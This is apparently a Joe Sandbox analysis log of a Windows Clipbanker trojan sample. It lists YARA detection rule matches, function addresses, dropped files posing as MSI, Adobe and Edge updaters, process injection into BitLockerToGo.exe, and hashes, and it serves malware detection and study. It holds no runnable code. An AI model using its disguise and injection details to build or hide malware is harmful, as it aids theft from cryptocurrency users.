Source: 00000014.00000002.2518294350.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000009.00000002.2430942841.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000009.00000002.2430942841.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000017.00000002.2677916205.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000017.00000002.2677916205.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000F.00000002.4555133321.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000F.00000002.4555133321.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C00042E980	0_2_000000C00042E980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C00048E990	0_2_000000C00048E990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C00053E950	0_2_000000C00053E950
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000451A10	0_2_000000C000451A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004A2A10	0_2_000000C0004A2A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004F79F0	0_2_000000C0004F79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004F6B30	0_2_000000C0004F6B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000538BB0	0_2_000000C000538BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000453BBF	0_2_000000C000453BBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000546B60	0_2_000000C000546B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004F1C20	0_2_000000C0004F1C20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004E6BE0	0_2_000000C0004E6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000439D28	0_2_000000C000439D28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004F9D30	0_2_000000C0004F9D30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004EEDA0	0_2_000000C0004EEDA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C00043BD60	0_2_000000C00043BD60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000545D70	0_2_000000C000545D70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004F6D60	0_2_000000C0004F6D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C00044CE86	0_2_000000C00044CE86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C00051CFB0	0_2_000000C00051CFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004FFFA0	0_2_000000C0004FFFA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000457FB0	0_2_000000C000457FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004F7F40	0_2_000000C0004F7F40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000492F60	0_2_000000C000492F60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004F7000	0_2_000000C0004F7000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000424FC4	0_2_000000C000424FC4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000409090	0_2_000000C000409090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004EE040	0_2_000000C0004EE040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004EF040	0_2_000000C0004EF040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004F7100	0_2_000000C0004F7100
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004FA100	0_2_000000C0004FA100
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000546120	0_2_000000C000546120
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0005030C0	0_2_000000C0005030C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000534140	0_2_000000C000534140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0004F9170	0_2_000000C0004F9170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C00053A220	0_2_000000C00053A220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000458230	0_2_000000C000458230
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C0005451E0	0_2_000000C0005451E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000513950	0_2_000000C000513950
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000000C000439EEF	0_2_000000C000439EEF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E0A2C0	3_2_02E0A2C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F0A2B0	3_2_02F0A2B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EAA200	3_2_02EAA200
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EBE3C0	3_2_02EBE3C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E963B0	3_2_02E963B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC00A0	3_2_02EC00A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E4002D	3_2_02E4002D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EE06D0	3_2_02EE06D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E986B0	3_2_02E986B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E90600	3_2_02E90600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EB84D0	3_2_02EB84D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EFA480	3_2_02EFA480
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EDE430	3_2_02EDE430
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E845E0	3_2_02E845E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F14550	3_2_02F14550
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EE4BD0	3_2_02EE4BD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E58BB0	3_2_02E58BB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EFA930	3_2_02EFA930
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E9AF60	3_2_02E9AF60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EFAD00	3_2_02EFAD00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E9D3A0	3_2_02E9D3A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E9F0D0	3_2_02E9F0D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EDF030	3_2_02EDF030
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EB1630	3_2_02EB1630
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EB3600	3_2_02EB3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED7600	3_2_02ED7600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E95790	3_2_02E95790
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F3F550	3_2_02F3F550
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E8BAC8	3_2_02E8BAC8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EADB20	3_2_02EADB20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E0B8E0	3_2_02E0B8E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E93F40	3_2_02E93F40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EC1F20	3_2_02EC1F20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E09C90	3_2_02E09C90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E81C10	3_2_02E81C10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F45DE0	3_2_02F45DE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EF7D00	3_2_02EF7D00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F12260	3_2_02F12260
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EA6250	3_2_02EA6250
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F083F6	3_2_02F083F6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E4036F	3_2_02E4036F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EA4320	3_2_02EA4320
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EF60E0	3_2_02EF60E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F220D0	3_2_02F220D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EEE170	3_2_02EEE170
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E8611D	3_2_02E8611D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E547BF	3_2_02E547BF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EF0450	3_2_02EF0450
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EF85F0	3_2_02EF85F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F48A69	3_2_02F48A69
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F48A53	3_2_02F48A53
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EF8B40	3_2_02EF8B40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EA88B0	3_2_02EA88B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F48840	3_2_02F48840
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EF2820	3_2_02EF2820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F489CB	3_2_02F489CB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F48983	3_2_02F48983
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E3C960	3_2_02E3C960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F46970	3_2_02F46970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E3A928	3_2_02E3A928
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F06EA0	3_2_02F06EA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F16EA0	3_2_02F16EA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F48E26	3_2_02F48E26
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F3AE20	3_2_02F3AE20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E58E30	3_2_02E58E30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EF2FD0	3_2_02EF2FD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EECF20	3_2_02EECF20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F48C8D	3_2_02F48C8D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EEEC40	3_2_02EEEC40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F48DA7	3_2_02F48DA7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F48D85	3_2_02F48D85
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F34D40	3_2_02F34D40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F46D20	3_2_02F46D20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F4923A	3_2_02F4923A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EA9380	3_2_02EA9380
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E93080	3_2_02E93080
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F4901B	3_2_02F4901B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E371A0	3_2_02E371A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F031A0	3_2_02F031A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ECF6F0	3_2_02ECF6F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED3600	3_2_02ED3600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EA3610	3_2_02EA3610
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EE77E0	3_2_02EE77E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F397B0	3_2_02F397B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F47760	3_2_02F47760
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EF7730	3_2_02EF7730
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ED1450	3_2_02ED1450
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E2F580	3_2_02E2F580
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02ECBAC0	3_2_02ECBAC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E4DA86	3_2_02E4DA86
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F1DBB0	3_2_02F1DBB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EEF9A0	3_2_02EEF9A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EF7960	3_2_02EF7960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02E7B970	3_2_02E7B970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F2DE61	3_2_02F2DE61
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F01FE0	3_2_02F01FE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F41FD9	3_2_02F41FD9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F41FB6	3_2_02F41FB6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02F03CC0	3_2_02F03CC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EEFC40	3_2_02EEFC40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EF7C00	3_2_02EF7C00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_02EF9D70	3_2_02EF9D70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_07E9A230	3_2_07E9A230
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_07EBC990	3_2_07EBC990
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_07EBD540	3_2_07EBD540
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_07EA3B60	3_2_07EA3B60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_07E99A10	3_2_07E99A10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_07EB1980	3_2_07EB1980

Source: Joe Sandbox View	Dropped File: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 000000C000433780 appears 32 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 02E34380 appears 59 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 02F47510 appears 114 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 02E1ACE0 appears 146 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 02E02CF0 appears 113 times

Source: file.exe

Static PE information: Number of sections : 12 > 10

Source: file.exe, 00000000.00000003.2184349872.0000019161650000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedotnet.exe6 vs file.exe
Source: file.exe, 00000000.00000003.2256735049.000001916163A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedotnet.exe6 vs file.exe
Source: file.exe, 00000000.00000003.2239999857.0000019161670000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000002.2264717201.000000C000A1A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedotnet.exe6 vs file.exe
Source: file.exe, 00000000.00000002.2266583245.000000C001800000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000000.2068913511.00007FF6DE1C6000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe, 00000000.00000002.2264369355.000000C000728000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000002.2266023505.000000C0017B6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs file.exe
Source: file.exe, 00000000.00000002.2266023505.000000C001400000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedotnet.exe6 vs file.exe
Source: file.exe	Binary or memory string: OriginalFileName vs file.exe

Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 11.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 23.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 23.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 10.2.KSExO5GhJ2KIj6jiDKtz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 10.2.KSExO5GhJ2KIj6jiDKtz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 20.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 20.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 22.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
